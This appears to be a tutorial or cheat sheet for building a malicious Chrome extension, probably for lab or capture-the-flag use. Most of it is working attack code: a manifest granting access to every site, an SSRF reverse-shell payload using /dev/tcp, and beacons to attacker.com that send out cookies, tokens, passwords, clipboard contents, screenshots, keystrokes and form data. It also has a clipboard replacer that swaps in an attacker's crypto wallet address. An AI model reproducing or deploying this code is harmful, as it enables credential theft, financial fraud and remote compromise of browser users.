Create Malicious Chrome Extension

Anatomy of a Malicious Extension

To build one, you typically only need two files:

manifest.json

This file defines what the extension can do.

• permissions: Request access to storage (to persist data) or tabs.

• host_permissions: Use <all_urls> to ensure your script runs on every site the user visits.

• content_scripts: This is the engine. It tells Chrome which JavaScript file to inject into pages.

{
  "manifest_version": 3,
  "name": "AppName",
  "version": "1.0",
  "permissions": ["storage", "activeTab"],
  "host_permissions": ["<all_urls>"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"]
    }
  ]
}

content.js

This script runs in the context of the web pages the user visits.

It has full access to the DOM.

SSRF Command Injection PoC

// Configuration
const attackerIP = "10.10.14.5";      // Your VPN/attacking machine IP
const attackerPort = "4444";          // Your netcat listener port
const TARGET = "http://127.0.0.1:5000/vulnerable-endpoint/";  // Local vulnerable service

// Reverse shell payload
const cmd = `bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`;
const b64 = btoa(cmd);

const exploit = `YOUR_INJECTION_HERE_${b64}`;

// Send the exploit to the vulnerable local endpoint
fetch(TARGET + encodeURIComponent(exploit), { mode: "no-cors" });

Common Payloads

When exploiting internal services via an extension, always use Base64 encoding for your payloads.

Since your code is running inside a fetch() or img.src, special characters will break the URL structure.

SSRF via Extension

Extensions can bypass Same-Origin Policy restrictions in certain contexts or use the browser as a proxy to hit internal APIs.

Probing an internal Flask app for a vulnerability

const TARGET = "http://127.0.0.1:5000/vulnerable-endpoint/";
const payload = "YOUR_EXPLOIT_PAYLOAD";
fetch(TARGET + encodeURIComponent(payload), { mode: "no-cors" });

Data Exfiltration (Beacons)

To send stolen data (cookies, tokens, or command output) back to your server:

Exfiltrate cookies via image beacon (bypasses most CSPs)

const exfil = (data) => {
  new Image().src = `http://attacker.com/log?d=${btoa(data)}`;
};

// Requires "cookies" permission in manifest.json
exfil(document.cookie);

// Or exfiltrate other data
exfil(document.body.innerText);  // Page content
exfil(localStorage.getItem('token'));  // Local storage tokens

Credential Sniffing

Hooking into form submissions to steal passwords:

document.addEventListener('submit', (e) => {
    const pass = e.target.querySelector('input[type="password"]')?.value;
    const user = e.target.querySelector('input[type="text"]')?.value;
    if(pass) fetch(`http://attacker.com/steal?u=${user}&p=${pass}`);
});

Clipboard Hijacking

Reading clipboard contents (requires clipboardRead permission):

navigator.clipboard.readText().then(text => {
  fetch(`http://attacker.com/clipboard?data=${btoa(text)}`);
});

Replacing clipboard (crypto wallet addresses, commands):

// Monitor for crypto addresses being copied
document.addEventListener('copy', () => {
  setTimeout(() => {
    navigator.clipboard.writeText('ATTACKER_WALLET_ADDRESS');
  }, 100);
});

Screenshot Capture

This must run in background.js, not content.js

Capture visible tab content (requires activeTab permission):

// In background.js or popup.js
chrome.tabs.captureVisibleTab(null, {format: 'png'}, (dataUrl) => {
  fetch('http://attacker.com/screenshot', {
    method: 'POST',
    body: JSON.stringify({image: dataUrl})
  });
});

Alternative with two files:

Trigger from content.js via message passing

// content.js:
chrome.runtime.sendMessage({action: "captureTab"});

// background.js:
chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {
  if(msg.action === "captureTab") {
    chrome.tabs.captureVisibleTab(null, {format: 'png'}, (dataUrl) => {
      fetch('http://attacker.com/screenshot', {
        method: 'POST',
        body: JSON.stringify({image: dataUrl})
      });
    });
  }
});

Keylogging

Log all keystrokes on pages user visits:

let keyBuffer = [];
let sendInterval;

document.addEventListener('keydown', (e) => {
  keyBuffer.push({
    key: e.key,
    url: window.location.href,
    time: Date.now()
  });
  
  // Send batch every 50 keys
  if(keyBuffer.length >= 50) {
    sendBatch();
  }
  
  // Also send every 10 seconds
  clearTimeout(sendInterval);
  sendInterval = setTimeout(sendBatch, 10000);
});

function sendBatch() {
  if(keyBuffer.length === 0) return;
  
  fetch('http://attacker.com/keylog', {
    method: 'POST',
    body: JSON.stringify(keyBuffer)
  });
  keyBuffer = [];
}

Form Hijacking

For comprehensive form data capture (includes passwords + all other fields):

document.addEventListener('submit', (e) => {
  const formData = new FormData(e.target);
  const data = Object.fromEntries(formData);
  
  // Exfiltrate form data
  fetch(`http://attacker.com/forms`, {
    method: 'POST',
    body: JSON.stringify({
      url: window.location.href,
      data: data
    })
  });
}, true);  // Use capture phase to intercept early

Manifest Permissions

{
  "manifest_version": 3,
  "name": "Extension Name",
  "version": "1.0",
  "permissions": [
    "cookies",         // Access document.cookie
    "activeTab",       // Interact with current page DOM
    "clipboardRead",   // Read clipboard contents
    "clipboardWrite",  // Write to clipboard
    "storage"          // Persist data across sessions
  ],
  "host_permissions": [
    "http://127.0.0.1/*",  // Access localhost
    "<all_urls>"           // Access any website (very suspicious)
  ]
}